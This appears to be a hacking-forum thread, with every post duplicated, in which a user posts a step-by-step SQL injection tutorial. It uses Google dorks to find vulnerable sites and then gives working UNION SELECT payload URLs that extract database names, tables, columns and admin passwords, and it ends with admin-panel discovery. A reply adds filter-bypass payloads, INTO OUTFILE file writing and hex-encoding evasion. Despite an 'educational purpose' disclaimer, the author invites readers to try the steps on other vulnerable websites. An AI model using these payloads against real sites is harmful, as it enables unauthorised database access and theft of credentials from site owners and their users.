[Legolas]

What is SQL Injection?
SQL injection is one of the popular web application hacking method.
Using the SQL Injection attack, an unauthorized person can access the database of the website.
Attacker can extract the data from the Database.

What a hacker can do with SQL Injection attack?

• ByPassing Logins
  
• Accessing secret data
  
• Modifying contents of website
  
• Shutting down the My SQL server
  
• Read files
  
• Shell uploads
  
• Disk Operating System
  

So, lets start.

Step 1: Finding Vulnerable Website:
To find a SQL Injection vulnerable site, you can use Google search by searching for certain keywords.
Those keyword often referred as 'Google dork'

Some Examples:
inurl:index.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:pageid=

Here is the huge list of Google Dork:
http://downloads.ziddu.com/download/1316...p.html/eng




Copy one of the above keyword and paste in the google.
Here , we will got lot search result with
We have to visit the websites one by one for checking the vulnerability.


Site:www.victimsite.com dork_list_commands
for eg:

Code:

site:www.victimsite.com inurl:index.php?id=

Step 2:Checking the Vulnerability:
Now let us check the vulnerability of the target website.
To check the vulnerability ,add the single quotes(') at the end of the url and hit enter.
For eg:

Code:

http://www.victimsite.com/index.php?id=2'

• If the page remains in same page or showing that page not found, then it is not vulnerable.
  
• If you got an error message just like this, then it means that the site is vulnerable
  

You have an error in your SQL syntax?
Check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1.


Step 3: Finding Number of columns:
Great, we have found that the website is vulnerable to SQLi attack.
Our next step is to find the number of columns present in the target database.

1. For that replace the single quotes(') with "order by n" statement.
   
2. Change the n from 1,2,3,4,,5,6,...n. Until you get the error like "unknown column ".
   

For eg:

Code:

http://www.victimsite.com/index.php?id=2 order by 1 http://www.victimsite.com/index.php?id=2 order by 2 http://www.victimsite.com/index.php?id=2 order by 3 http://www.victimsite.com/index.php?id=2 order by 4

If you get the error while trying the "x"th number,then no of column is "x-1".

I mean:

Code:

http://www.victimsite.com/index.php?id=2 order by 1(noerror) http://www.victimsite.com/index.php?id=2 order by 2(noerror) http://www.victimsite.com/index.php?id=2 order by 3(noerror) http://www.victimsite.com/index.php?id=2 order by 4(noerror) http://www.victimsite.com/index.php?id=2 order by 5(noerror) http://www.victimsite.com/index.php?id=2 order by 6(noerror) http://www.victimsite.com/index.php?id=2 order by 7(noerror) http://www.victimsite.com/index.php?id=2 order by 8(error)

so now x=8 , The number of column is x-1 i.e, 7.

In case ,if the above method fails to work for you, then try to add the "--" at the end of the statement.
For eg:

Code:

http://www.victimsite.com/index.php?id=2 order by 1--

Step 4:Find the Vulnerable columns:
We have successfully discovered the number of columns present in the target database.
Let us find the vulnerable column by trying the query "union select columns_sequence".

• Change the id value to negative(i mean id=-2).
  
• Replace the columns_sequence with the no from 1 to x-1(number of columns) separated with commas(,).
  

For eg:
If the number of columns is 7 ,then the query is as follow:

Code:

http://www.victimsite.com/index.php?id=-2 union select 1,2,3,4,5,6,7--

If the above method is not working then try this:

Code:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,3,4,5,6,7--

Once you execute the query, it will display the vulnerable column.



Bingo :Thumbs-Up: , column '3' and '7' are found to be vulnerable.
Let us take the first vulnerable column '3' .
We can inject our query in this column.

Step 5: Finding version,database,user
Replace the 3 from the query with "version()"

For eg:

Code:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,version(),4,5,6,7--

Now, It will display the version as 5.0.1 or 4.3. something like this.

Replace the version() with database() and user() for finding the database,user respectively.

For eg:

Code:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,database(),4,5,6,7--

Code:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,user(),4,5,6,7--

If the above is not working,then try this:

Code:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,unhex(hex(@@version)),4,5,6,7--

Step 6: Finding the Table Name
If the Database version is 5 or above. If the version is 4.x,
then you have to guess the table names (blind sql injection attack).

Let us find the table name of the database. Replace the 3 with "group_concat(table_name) and add the "from information_schema.tables where table_schema=database()"

For eg:

Code:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where table_schema=database()--

Now it will display the list of table names. Find the table name which is related with the admin or user.


Let us choose the "admin " table.

Step 7: Finding the Column Name
Now replace the "group_concat(table_name) with the "group_concat(column_name)"

Replace the "from information_schema.tables where table_schema=database()--" with "FROM information_schema.columns WHERE table_name=mysqlchar--

We have to convert the table name to MySql CHAR() string .

Install the HackBar addon:
https://addons.mozilla.org/en-US/firefox/addon/3899/

Once you installed the add-on, you can see a toolbar that will look like the following one.
If you are not able to see the Hackbar, then press F9.

Select sql->Mysql->MysqlChar() in the Hackbar.



It will ask you to enter string that you want to convert to MySQLCHAR().
We want to convert the table name to MySQLChar . In our case the table name is 'admin'.



Now you can see the CHAR(numbers separated with commans) in the Hack toolbar.



Copy and paste the code at the end of the url instead of the "mysqlchar"

For eg:

Code:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)--

The above query will display the list of column.

For example: admin,password,admin_id,admin_name,admin_password,active,id,admin_name,admin_pas ​ s,admin_id,admin_name,admin_password,ID_admin,admin_username,username,password..etc..

Now replace the replace group_concat(column_name) with group_concat(columnname1,0x3a,anothercolumnname2).

Now replace the " from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)" with the "from table_name"

For eg:

Code:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(admin_id,0x3a,admin_password),4,5,6,7 from admin--

If the above query displays the 'column is not found' erro, then try another column name from the list.

If we got luck, then it will display the data stored in the database depending on your column name.
For instance, username and password column will display the login credentials stored in the database.


Step 8: Finding the Admin Panel:
Just try with url like:

Code:

http://www.victimsite.com/admin.php http://www.victimsite.com/admin/ http://www.victimsite.com/admin.html http://www.victimsite.com:2082/

If you got luck ,you will find the admin page using above urls.
Or you can some kind of admin finder tools.

Warning:
The above post is completely for Educational Purpose only.
Never attempt to follow the above steps against third-party websites.
If you want to learn SQL injection attack method , then you can learn in safe environment by setup your own lab.

I wanted to post this tut , because i tested it personally and i think that it would be very usefull for Members to learn and know about SQL Injection.
Even if the site which i m using for example on TUT,is dead. Hehe.:Content:
But this works great, and you could test it with other Vulnerable Website.



For any misunderstandings,i would like to say that i am not pro on SQLI and i am learning this "Chapter of Computer Science" at this moment.
For suggestions,changes or amendments feel free to post.


Credits to Sabari Selvan and Me for Testing and Posting the Tutorial.
Credits to @shp0ngl3 for the usefull suggestions.


The Thread will be updated soon because of absence of necessary informations.

[Legolas]

What is SQL Injection?
SQL injection is one of the popular web application hacking method.
Using the SQL Injection attack, an unauthorized person can access the database of the website.
Attacker can extract the data from the Database.

What a hacker can do with SQL Injection attack?

• ByPassing Logins
  
• Accessing secret data
  
• Modifying contents of website
  
• Shutting down the My SQL server
  
• Read files
  
• Shell uploads
  
• Disk Operating System
  

So, lets start.

Step 1: Finding Vulnerable Website:
To find a SQL Injection vulnerable site, you can use Google search by searching for certain keywords.
Those keyword often referred as 'Google dork'

Some Examples:
inurl:index.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:pageid=

Here is the huge list of Google Dork:
http://downloads.ziddu.com/download/1316...p.html/eng




Copy one of the above keyword and paste in the google.
Here , we will got lot search result with
We have to visit the websites one by one for checking the vulnerability.


Site:www.victimsite.com dork_list_commands
for eg:

Code:

site:www.victimsite.com inurl:index.php?id=

Step 2:Checking the Vulnerability:
Now let us check the vulnerability of the target website.
To check the vulnerability ,add the single quotes(') at the end of the url and hit enter.
For eg:

Code:

http://www.victimsite.com/index.php?id=2'

• If the page remains in same page or showing that page not found, then it is not vulnerable.
  
• If you got an error message just like this, then it means that the site is vulnerable
  

You have an error in your SQL syntax?
Check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1.


Step 3: Finding Number of columns:
Great, we have found that the website is vulnerable to SQLi attack.
Our next step is to find the number of columns present in the target database.

1. For that replace the single quotes(') with "order by n" statement.
   
2. Change the n from 1,2,3,4,,5,6,...n. Until you get the error like "unknown column ".
   

For eg:

Code:

http://www.victimsite.com/index.php?id=2 order by 1 http://www.victimsite.com/index.php?id=2 order by 2 http://www.victimsite.com/index.php?id=2 order by 3 http://www.victimsite.com/index.php?id=2 order by 4

If you get the error while trying the "x"th number,then no of column is "x-1".

I mean:

Code:

http://www.victimsite.com/index.php?id=2 order by 1(noerror) http://www.victimsite.com/index.php?id=2 order by 2(noerror) http://www.victimsite.com/index.php?id=2 order by 3(noerror) http://www.victimsite.com/index.php?id=2 order by 4(noerror) http://www.victimsite.com/index.php?id=2 order by 5(noerror) http://www.victimsite.com/index.php?id=2 order by 6(noerror) http://www.victimsite.com/index.php?id=2 order by 7(noerror) http://www.victimsite.com/index.php?id=2 order by 8(error)

so now x=8 , The number of column is x-1 i.e, 7.

In case ,if the above method fails to work for you, then try to add the "--" at the end of the statement.
For eg:

Code:

http://www.victimsite.com/index.php?id=2 order by 1--

Step 4:Find the Vulnerable columns:
We have successfully discovered the number of columns present in the target database.
Let us find the vulnerable column by trying the query "union select columns_sequence".

• Change the id value to negative(i mean id=-2).
  
• Replace the columns_sequence with the no from 1 to x-1(number of columns) separated with commas(,).
  

For eg:
If the number of columns is 7 ,then the query is as follow:

Code:

http://www.victimsite.com/index.php?id=-2 union select 1,2,3,4,5,6,7--

If the above method is not working then try this:

Code:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,3,4,5,6,7--

Once you execute the query, it will display the vulnerable column.



Bingo :Thumbs-Up: , column '3' and '7' are found to be vulnerable.
Let us take the first vulnerable column '3' .
We can inject our query in this column.

Step 5: Finding version,database,user
Replace the 3 from the query with "version()"

For eg:

Code:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,version(),4,5,6,7--

Now, It will display the version as 5.0.1 or 4.3. something like this.

Replace the version() with database() and user() for finding the database,user respectively.

For eg:

Code:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,database(),4,5,6,7--

Code:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,user(),4,5,6,7--

If the above is not working,then try this:

Code:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,unhex(hex(@@version)),4,5,6,7--

Step 6: Finding the Table Name
If the Database version is 5 or above. If the version is 4.x,
then you have to guess the table names (blind sql injection attack).

Let us find the table name of the database. Replace the 3 with "group_concat(table_name) and add the "from information_schema.tables where table_schema=database()"

For eg:

Code:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where table_schema=database()--

Now it will display the list of table names. Find the table name which is related with the admin or user.


Let us choose the "admin " table.

Step 7: Finding the Column Name
Now replace the "group_concat(table_name) with the "group_concat(column_name)"

Replace the "from information_schema.tables where table_schema=database()--" with "FROM information_schema.columns WHERE table_name=mysqlchar--

We have to convert the table name to MySql CHAR() string .

Install the HackBar addon:
https://addons.mozilla.org/en-US/firefox/addon/3899/

Once you installed the add-on, you can see a toolbar that will look like the following one.
If you are not able to see the Hackbar, then press F9.

Select sql->Mysql->MysqlChar() in the Hackbar.



It will ask you to enter string that you want to convert to MySQLCHAR().
We want to convert the table name to MySQLChar . In our case the table name is 'admin'.



Now you can see the CHAR(numbers separated with commans) in the Hack toolbar.



Copy and paste the code at the end of the url instead of the "mysqlchar"

For eg:

Code:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)--

The above query will display the list of column.

For example: admin,password,admin_id,admin_name,admin_password,active,id,admin_name,admin_pas ​ s,admin_id,admin_name,admin_password,ID_admin,admin_username,username,password..etc..

Now replace the replace group_concat(column_name) with group_concat(columnname1,0x3a,anothercolumnname2).

Now replace the " from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)" with the "from table_name"

For eg:

Code:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(admin_id,0x3a,admin_password),4,5,6,7 from admin--

If the above query displays the 'column is not found' erro, then try another column name from the list.

If we got luck, then it will display the data stored in the database depending on your column name.
For instance, username and password column will display the login credentials stored in the database.


Step 8: Finding the Admin Panel:
Just try with url like:

Code:

http://www.victimsite.com/admin.php http://www.victimsite.com/admin/ http://www.victimsite.com/admin.html http://www.victimsite.com:2082/

If you got luck ,you will find the admin page using above urls.
Or you can some kind of admin finder tools.

Warning:
The above post is completely for Educational Purpose only.
Never attempt to follow the above steps against third-party websites.
If you want to learn SQL injection attack method , then you can learn in safe environment by setup your own lab.

I wanted to post this tut , because i tested it personally and i think that it would be very usefull for Members to learn and know about SQL Injection.
Even if the site which i m using for example on TUT,is dead. Hehe.:Content:
But this works great, and you could test it with other Vulnerable Website.



For any misunderstandings,i would like to say that i am not pro on SQLI and i am learning this "Chapter of Computer Science" at this moment.
For suggestions,changes or amendments feel free to post.


Credits to Sabari Selvan and Me for Testing and Posting the Tutorial.
Credits to @shp0ngl3 for the usefull suggestions.


The Thread will be updated soon because of absence of necessary informations.

[Ligeti]

Thank you for sharing, it was interesting (and easy) to read

Question:

Why do you people - and I mean everyone who writes about SQLi - target the URL only (using the get method)? I don't remember seeing anything about the post method (using forms for example), am I right or did I miss something?

Thanks

[Ligeti]

Thank you for sharing, it was interesting (and easy) to read

Question:

Why do you people - and I mean everyone who writes about SQLi - target the URL only (using the get method)? I don't remember seeing anything about the post method (using forms for example), am I right or did I miss something?

Thanks

[RogueCoder]

Thanks for taking the time it took to write this, but I must admit that this was really disappointing. Spartans is supposed to be a HQ group sharing HQ content, and this does not fit that. There are several things in this post that is both misleading and just plain and simple wrong.

What a hacker can do with SQL Injection attack?

Missing from that list is
- Shell uploads
- Read files
- DoS

Now, in step 2 you claim the following

To check the vulnerability ,add the single quotes(') at the end of the url and hit enter.
If the page remains in same page or showing that page not found, then it is not vulnerable.

This is as far from the truth you can get. Identifying vulnerabilities can be done in so many ways. It all boils down to the code.

A few examples are ....

Code:

" \" \' \ '%0A) CASE 1 WHEN 1=1 THEN 1 ELSE 0 END '/*!OR*/1=1 1%2B1 (1%2B1) 1%2B1) IF(1=1,1,2)

.... and I could go on forever.

In step 3 you are right but you should also add that you can also combine these into ...

Code:

order by 1,2,3,4,5,6,7,8,9,10,11,12,13

... which will return a message saying something like "Unknown column '6' in 'order clause'" which means that union select should use 5 columns

Step 4 if no values are printed to the screen you can use INTO OUTFILE/INTO DUMPFILE to store the output in a file. Just make sure it's saved to a path accessible from the browser

In addition to what you have in step 5 I would also like to add these
@@datadir - Get the default data directory in the mysql config
@@hostname - Get the server hostname
UUID() - MAC Address Read more details

In step 7 you are not informing about how to use hex encoding to bypass string filtering, which can be useful if CHAR() isn't working. Just make sure that the hex string is prefixed with 0x otherwise MySQL won't interpret it as hex

------

Even what I have added here is still lacking tons of information... I really had expected more from a Spartans tutorial than this

[RogueCoder]

Thanks for taking the time it took to write this, but I must admit that this was really disappointing. Spartans is supposed to be a HQ group sharing HQ content, and this does not fit that. There are several things in this post that is both misleading and just plain and simple wrong.

What a hacker can do with SQL Injection attack?

Missing from that list is
- Shell uploads
- Read files
- DoS

Now, in step 2 you claim the following

To check the vulnerability ,add the single quotes(') at the end of the url and hit enter.
If the page remains in same page or showing that page not found, then it is not vulnerable.

This is as far from the truth you can get. Identifying vulnerabilities can be done in so many ways. It all boils down to the code.

A few examples are ....

Code:

" \" \' \ '%0A) CASE 1 WHEN 1=1 THEN 1 ELSE 0 END '/*!OR*/1=1 1%2B1 (1%2B1) 1%2B1) IF(1=1,1,2)

.... and I could go on forever.

In step 3 you are right but you should also add that you can also combine these into ...

Code:

order by 1,2,3,4,5,6,7,8,9,10,11,12,13

... which will return a message saying something like "Unknown column '6' in 'order clause'" which means that union select should use 5 columns

Step 4 if no values are printed to the screen you can use INTO OUTFILE/INTO DUMPFILE to store the output in a file. Just make sure it's saved to a path accessible from the browser

In addition to what you have in step 5 I would also like to add these
@@datadir - Get the default data directory in the mysql config
@@hostname - Get the server hostname
UUID() - MAC Address Read more details

In step 7 you are not informing about how to use hex encoding to bypass string filtering, which can be useful if CHAR() isn't working. Just make sure that the hex string is prefixed with 0x otherwise MySQL won't interpret it as hex

------

Even what I have added here is still lacking tons of information... I really had expected more from a Spartans tutorial than this

[Legolas]

@shp0ngl3 ,

thanks for the post mate.
Hey,
I did not say that i am pro on SQLI.
I just made a try on this because i d like to learn new things..:Thumbs-Up:
Forgive me,if i didnt cover all the informations about SQLI.

-->My "best knowledges" are about Web Development , e-commerce ,e-goverement ,e-banking ,Cryptography and SEO.

All tips are accepted from you.And i will update the topic.


And i say again, i didnt say that i am pro on SQLI.
Thank you for interference.
Very usefull bro.:Thumbs-Up:

For any other changes or suggestions, feel free to pm.

-Legolas-

[Legolas]

@shp0ngl3 ,

thanks for the post mate.
Hey,
I did not say that i am pro on SQLI.
I just made a try on this because i d like to learn new things..:Thumbs-Up:
Forgive me,if i didnt cover all the informations about SQLI.

-->My "best knowledges" are about Web Development , e-commerce ,e-goverement ,e-banking ,Cryptography and SEO.

All tips are accepted from you.And i will update the topic.


And i say again, i didnt say that i am pro on SQLI.
Thank you for interference.
Very usefull bro.:Thumbs-Up:

For any other changes or suggestions, feel free to pm.

-Legolas-

[ASDASOD]

Thank you very much , very helpfull

[Ex094]

Someone answer @Ligeti question please, I wanna know the same thing